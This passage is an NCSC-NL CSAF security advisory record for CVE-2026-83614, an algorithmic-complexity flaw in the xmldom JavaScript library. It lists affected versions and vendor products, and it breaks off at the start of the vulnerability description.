{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-83614",
        "tracking": {
            "current_release_date": "2026-10-16T13:48:38.304050Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-83614",
            "initial_release_date": "2026-09-01T15:34:51.349421Z",
            "revision_history": [
                {
                    "date": "2026-09-01T15:34:51.349421Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (7).| CWES updated (1)."
                },
                {
                    "date": "2026-09-01T15:34:53.265474Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-09-01T15:34:54.390757Z",
                    "number": "3",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-01T15:39:14.891967Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Products connected (2).| References created (7).| CWES updated (1)."
                },
                {
                    "date": "2026-09-01T15:39:26.080011Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-01T18:38:55.412996Z",
                    "number": "6",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-09-02T00:27:37.697778Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (16).| Product Identifiers created (8).| References created (9).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-09-02T00:27:44.403521Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-02T05:12:08.302486Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)."
                },
                {
                    "date": "2026-09-02T05:12:09.764779Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-02T07:13:25.432615Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (38).| References created (9).| CWES updated (1)."
                },
                {
                    "date": "2026-09-02T07:13:32.469525Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-03T14:08:26.134580Z",
                    "number": "13",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-03T14:08:40.676419Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-07T07:56:15.997562Z",
                    "number": "15",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-07T12:23:00.083757Z",
                    "number": "16",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CWES updated (1)."
                },
                {
                    "date": "2026-09-08T20:06:21.690228Z",
                    "number": "17",
                    "summary": "Source connected.| CVE status created. (valid)| News created (1)."
                },
                {
                    "date": "2026-09-08T20:07:06.495678Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-09T06:40:03.887566Z",
                    "number": "19",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (9).| CWES updated (1)."
                },
                {
                    "date": "2026-09-09T12:22:03.145098Z",
                    "number": "20",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T12:22:37.640659Z",
                    "number": "21",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (3).| References created (8).| CWES updated (1)."
                },
                {
                    "date": "2026-09-09T12:22:41.193165Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-09T12:53:18.581583Z",
                    "number": "23",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T12:53:21.128356Z",
                    "number": "24",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-09T12:53:35.643348Z",
                    "number": "25",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T12:53:46.070633Z",
                    "number": "26",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T12:53:55.022000Z",
                    "number": "27",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T12:54:13.400160Z",
                    "number": "28",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T12:54:24.752208Z",
                    "number": "29",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T15:17:16.105227Z",
                    "number": "30",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-09T15:17:17.264565Z",
                    "number": "31",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-22T00:39:00.067872Z",
                    "number": "32",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Remediations created (6).| References created (47).| CWES updated (1)."
                },
                {
                    "date": "2026-09-22T00:39:03.543076Z",
                    "number": "33",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-24T15:20:01.620816Z",
                    "number": "34",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-09-24T15:20:06.757398Z",
                    "number": "35",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T11:33:13.745316Z",
                    "number": "36",
                    "summary": "Source connected.| CVE status created. (valid)| Products connected (2).| References created (3)."
                },
                {
                    "date": "2026-09-28T11:33:17.173796Z",
                    "number": "37",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-29T12:20:43.656211Z",
                    "number": "38",
                    "summary": "Source connected.| CVE status created. (valid)| Products connected (3).| References created (21)."
                },
                {
                    "date": "2026-09-29T12:20:46.412883Z",
                    "number": "39",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-29T15:26:05.015796Z",
                    "number": "40",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-30T18:43:00.984069Z",
                    "number": "41",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| Product Remediations created (1)."
                },
                {
                    "date": "2026-09-30T18:43:09.450616Z",
                    "number": "42",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-03T00:43:13.191576Z",
                    "number": "43",
                    "summary": "Description removed for source.| Description created for source.| Products connected (2).| Product Remediations created (1).| Products removed (2)."
                },
                {
                    "date": "2026-10-03T00:43:21.509964Z",
                    "number": "44",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-05T11:29:57.710925Z",
                    "number": "45",
                    "summary": "Products connected (1).| References created (1)."
                },
                {
                    "date": "2026-10-12T08:07:58.918614Z",
                    "number": "46",
                    "summary": "Products connected (1).| References created (1)."
                },
                {
                    "date": "2026-10-12T08:08:00.878542Z",
                    "number": "47",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-16T06:19:43.125468Z",
                    "number": "48",
                    "summary": "Source connected.| CVE status created. (valid)"
                },
                {
                    "date": "2026-10-16T12:22:28.048231Z",
                    "number": "49",
                    "summary": "Products connected (1).| References created (1)."
                },
                {
                    "date": "2026-10-16T12:22:51.685730Z",
                    "number": "50",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "50"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.7.0|<0.8.15",
                                "product": {
                                    "name": "vers:unknown/>=0.7.0|<0.8.15",
                                    "product_id": "CSAFPID-9111866"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.9.0|<0.9.12",
                                "product": {
                                    "name": "vers:unknown/>=0.9.0|<0.9.12",
                                    "product_id": "CSAFPID-9111867"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "@xmldom/xmldom"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.3.0",
                                "product": {
                                    "name": "vers:unknown/0.3.0",
                                    "product_id": "CSAFPID-3441068"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.4.0",
                                "product": {
                                    "name": "vers:unknown/0.4.0",
                                    "product_id": "CSAFPID-3441069"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.5.0",
                                "product": {
                                    "name": "vers:unknown/0.5.0",
                                    "product_id": "CSAFPID-3441070"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.6.0",
                                "product": {
                                    "name": "vers:unknown/0.6.0",
                                    "product_id": "CSAFPID-4349372"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.0",
                                "product": {
                                    "name": "vers:unknown/0.7.0",
                                    "product_id": "CSAFPID-3437183"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.0+scoped",
                                "product": {
                                    "name": "vers:unknown/0.7.0+scoped",
                                    "product_id": "CSAFPID-3437184"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.0+unscoped",
                                "product": {
                                    "name": "vers:unknown/0.7.0+unscoped",
                                    "product_id": "CSAFPID-3437185"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.1",
                                "product": {
                                    "name": "vers:unknown/0.7.1",
                                    "product_id": "CSAFPID-3437186"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.2",
                                "product": {
                                    "name": "vers:unknown/0.7.2",
                                    "product_id": "CSAFPID-3437187"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.3",
                                "product": {
                                    "name": "vers:unknown/0.7.3",
                                    "product_id": "CSAFPID-3437188"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.0",
                                "product": {
                                    "name": "vers:unknown/0.8.0",
                                    "product_id": "CSAFPID-5037326"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.1",
                                "product": {
                                    "name": "vers:unknown/0.8.1",
                                    "product_id": "CSAFPID-5037327"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.10",
                                "product": {
                                    "name": "vers:unknown/0.8.10",
                                    "product_id": "CSAFPID-6245827"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.11",
                                "product": {
                                    "name": "vers:unknown/0.8.11",
                                    "product_id": "CSAFPID-6245828"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.12",
                                "product": {
                                    "name": "vers:unknown/0.8.12",
                                    "product_id": "CSAFPID-8740608"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.13",
                                "product": {
                                    "name": "vers:unknown/0.8.13",
                                    "product_id": "CSAFPID-8932784"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.14",
                                "product": {
                                    "name": "vers:unknown/0.8.14",
                                    "product_id": "CSAFPID-9104868"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.2",
                                "product": {
                                    "name": "vers:unknown/0.8.2",
                                    "product_id": "CSAFPID-5037328"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.3",
                                "product": {
                                    "name": "vers:unknown/0.8.3",
                                    "product_id": "CSAFPID-5037329"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.4",
                                "product": {
                                    "name": "vers:unknown/0.8.4",
                                    "product_id": "CSAFPID-6245821"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.5",
                                "product": {
                                    "name": "vers:unknown/0.8.5",
                                    "product_id": "CSAFPID-6245822"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.6",
                                "product": {
                                    "name": "vers:unknown/0.8.6",
                                    "product_id": "CSAFPID-6245823"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.7",
                                "product": {
                                    "name": "vers:unknown/0.8.7",
                                    "product_id": "CSAFPID-6245824"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.8",
                                "product": {
                                    "name": "vers:unknown/0.8.8",
                                    "product_id": "CSAFPID-6245825"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.9",
                                "product": {
                                    "name": "vers:unknown/0.8.9",
                                    "product_id": "CSAFPID-6245826"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.0",
                                "product": {
                                    "name": "vers:unknown/0.9.0",
                                    "product_id": "CSAFPID-6245829"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.1",
                                "product": {
                                    "name": "vers:unknown/0.9.1",
                                    "product_id": "CSAFPID-6245830"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.10",
                                "product": {
                                    "name": "vers:unknown/0.9.10",
                                    "product_id": "CSAFPID-9104869"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.11",
                                "product": {
                                    "name": "vers:unknown/0.9.11",
                                    "product_id": "CSAFPID-9104870"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.2",
                                "product": {
                                    "name": "vers:unknown/0.9.2",
                                    "product_id": "CSAFPID-6245831"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.3",
                                "product": {
                                    "name": "vers:unknown/0.9.3",
                                    "product_id": "CSAFPID-6245832"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.4",
                                "product": {
                                    "name": "vers:unknown/0.9.4",
                                    "product_id": "CSAFPID-6245833"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.5",
                                "product": {
                                    "name": "vers:unknown/0.9.5",
                                    "product_id": "CSAFPID-6245834"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.6",
                                "product": {
                                    "name": "vers:unknown/0.9.6",
                                    "product_id": "CSAFPID-6245835"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.7",
                                "product": {
                                    "name": "vers:unknown/0.9.7",
                                    "product_id": "CSAFPID-6245836"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.8",
                                "product": {
                                    "name": "vers:unknown/0.9.8",
                                    "product_id": "CSAFPID-6245837"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.9",
                                "product": {
                                    "name": "vers:unknown/0.9.9",
                                    "product_id": "CSAFPID-8740607"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.3.0|<=0.6.0",
                                "product": {
                                    "name": "vers:unknown/>=0.3.0|<=0.6.0",
                                    "product_id": "CSAFPID-9104939"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.0",
                                "product": {
                                    "name": "vers:unknown/v0.7.0",
                                    "product_id": "CSAFPID-3437191"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "xmldom"
                    }
                ],
                "category": "vendor",
                "name": "xmldom"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<12.0.12.30",
                                "product": {
                                    "name": "vers:unknown/<12.0.12.30",
                                    "product_id": "CSAFPID-9477920"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<13.0.9.0",
                                "product": {
                                    "name": "vers:unknown/<13.0.9.0",
                                    "product_id": "CSAFPID-9477921"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "App Connect Enterprise"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.5.0.23",
                                "product": {
                                    "name": "vers:unknown/<10.5.0.23",
                                    "product_id": "CSAFPID-9485661"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.6.0.11",
                                "product": {
                                    "name": "vers:unknown/<10.6.0.11",
                                    "product_id": "CSAFPID-9485662"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<11.0.0.3",
                                "product": {
                                    "name": "vers:unknown/<11.0.0.3",
                                    "product_id": "CSAFPID-9485663"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "DataPower Gateway"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/unknown",
                                "product": {
                                    "name": "vers:unknown/unknown",
                                    "product_id": "CSAFPID-1337768",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:ibm:business_automation_workflow:-"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "IBM Business Automation Workflow"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/unknown",
                                "product": {
                                    "name": "vers:unknown/unknown",
                                    "product_id": "CSAFPID-5211181",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:ibm:websphere_service_registry_and_repository:-"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "IBM WebSphere Service Registry and Repository"
                    }
                ],
                "category": "vendor",
                "name": "IBM"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<5.7.1",
                                "product": {
                                    "name": "vers:unknown/<5.7.1",
                                    "product_id": "CSAFPID-9512266"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=5.7.1",
                                "product": {
                                    "name": "vers:unknown/>=5.7.1",
                                    "product_id": "CSAFPID-9512267"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "HPE Telco Service Orchestrator"
                    }
                ],
                "category": "vendor",
                "name": "HPE"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/unknown",
                                "product": {
                                    "name": "vers:unknown/unknown",
                                    "product_id": "CSAFPID-1317177",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/o:oracle:linux:-"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Oracle Linux"
                    }
                ],
                "category": "vendor",
                "name": "Oracle"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/1",
                                "product": {
                                    "name": "vers:rpm/1",
                                    "product_id": "CSAFPID-5940623",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:podman_desktop:1"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Build of Podman Desktop"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/1",
                                "product": {
                                    "name": "vers:rpm/1",
                                    "product_id": "CSAFPID-1508265",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:rhdh:1"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Developer Hub"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/1.9",
                                        "product": {
                                            "name": "vers:rpm/1.9",
                                            "product_id": "CSAFPID-5760320",
                                            "product_identification_helper": {
                                                "cpe": "cpe:/a:redhat:rhdh:1.9::el9"
                                            }
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "Red Hat Developer Hub 1.9"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:oci/1789554285",
                                        "product": {
                                            "name": "vers:oci/1789554285",
                                            "product_id": "CSAFPID-9368042",
                                            "product_identification_helper": {
                                                "purl": "pkg:oci/rhdh-hub-rhel9@sha256%3Aea53db6012b6fe1c80760624caddb0d3b674614b62cb3c359ed3fde270314eb2?arch=amd64&repository_url=registry.redhat.io/rhdh/rhdh-hub-rhel9&tag=1789554285"
                                            }
                                        }
                                    },
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-1508266"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "rhdh-hub-rhel9"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:oci/1789558887",
                                        "product": {
                                            "name": "vers:oci/1789558887",
                                            "product_id": "CSAFPID-9368043",
                                            "product_identification_helper": {
                                                "purl": "pkg:oci/rhdh-operator-bundle@sha256%3A1b8153a28b5a3797104fd32a54e3ac38b3b573ff2d65d99bd257d650eddea1fc?arch=amd64&repository_url=registry.redhat.io/rhdh/rhdh-operator-bundle&tag=1789558887"
                                            }
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "rhdh-operator-bundle"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:oci/1789552931",
                                        "product": {
                                            "name": "vers:oci/1789552931",
                                            "product_id": "CSAFPID-9368044",
                                            "product_identification_helper": {
                                                "purl": "pkg:oci/rhdh-rhel9-operator@sha256%3A036c292951ddf755006c6fefc9e1b8faf9a784757b91785e990bbfb856baa3ff?arch=amd64&repository_url=registry.redhat.io/rhdh/rhdh-rhel9-operator&tag=1789552931"
                                            }
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "rhdh-rhel9-operator"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Developer Hub"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/10",
                                "product": {
                                    "name": "vers:rpm/10",
                                    "product_id": "CSAFPID-2858634",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/o:redhat:enterprise_linux:10"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Enterprise Linux 10"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/8",
                                "product": {
                                    "name": "vers:rpm/8",
                                    "product_id": "CSAFPID-1439317",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/o:redhat:enterprise_linux:8"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Enterprise Linux 8"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/9",
                                "product": {
                                    "name": "vers:rpm/9",
                                    "product_id": "CSAFPID-1439319",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/o:redhat:enterprise_linux:9"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Enterprise Linux 9"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/7",
                                "product": {
                                    "name": "vers:rpm/7",
                                    "product_id": "CSAFPID-1439294",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:jboss_fuse:7"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Fuse 7"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/unknown",
                                "product": {
                                    "name": "vers:rpm/unknown",
                                    "product_id": "CSAFPID-1439279",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:openshift_ai"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat OpenShift AI (RHOAI)"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/4",
                                "product": {
                                    "name": "vers:rpm/4",
                                    "product_id": "CSAFPID-1439328",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:openshift:4"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat OpenShift Container Platform 4"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-2868420"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "grafana"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Enterprise Linux 10"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-1663145"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "grafana"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Enterprise Linux 8"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-1496261"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "grafana"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Enterprise Linux 9"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5811359"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "odh-mlflow-rhel9"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat OpenShift AI (RHOAI)"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-1441120"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "ose-console"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat OpenShift Container Platform 4"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-6239273"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "rh-podman-desktop.git"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Build of Podman Desktop"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-9105480"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "xmldom"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Fuse 7"
                    }
                ],
                "category": "vendor",
                "name": "Red Hat"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:deb/unknown",
                                        "product": {
                                            "name": "vers:deb/unknown",
                                            "product_id": "CSAFPID-5991503"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "node-xmldom"
                            }
                        ],
                        "category": "product_family",
                        "name": "bookworm"
                    }
                ],
                "category": "vendor",
                "name": "Debian"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.7.0|<0.8.15",
                                "product": {
                                    "name": "vers:unknown/>=0.7.0|<0.8.15",
                                    "product_id": "CSAFPID-9104839"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.9.0|<0.9.12",
                                "product": {
                                    "name": "vers:unknown/>=0.9.0|<0.9.12",
                                    "product_id": "CSAFPID-9104838"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "xmldom"
                    }
                ],
                "category": "vendor",
                "name": "@xmldom"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-83614",
            "cwe": {
                "id": "CWE-407",
                "name": "Inefficient Algorithmic Complexity"
            },
            "flags": [
                {
                    "label": "vulnerable_code_not_present",
                    "product_ids": [
                        "CSAFPID-9368043",
                        "CSAFPID-9368044"
                    ]
                }
            ],
            "notes": [
                {
                    "category": "description",
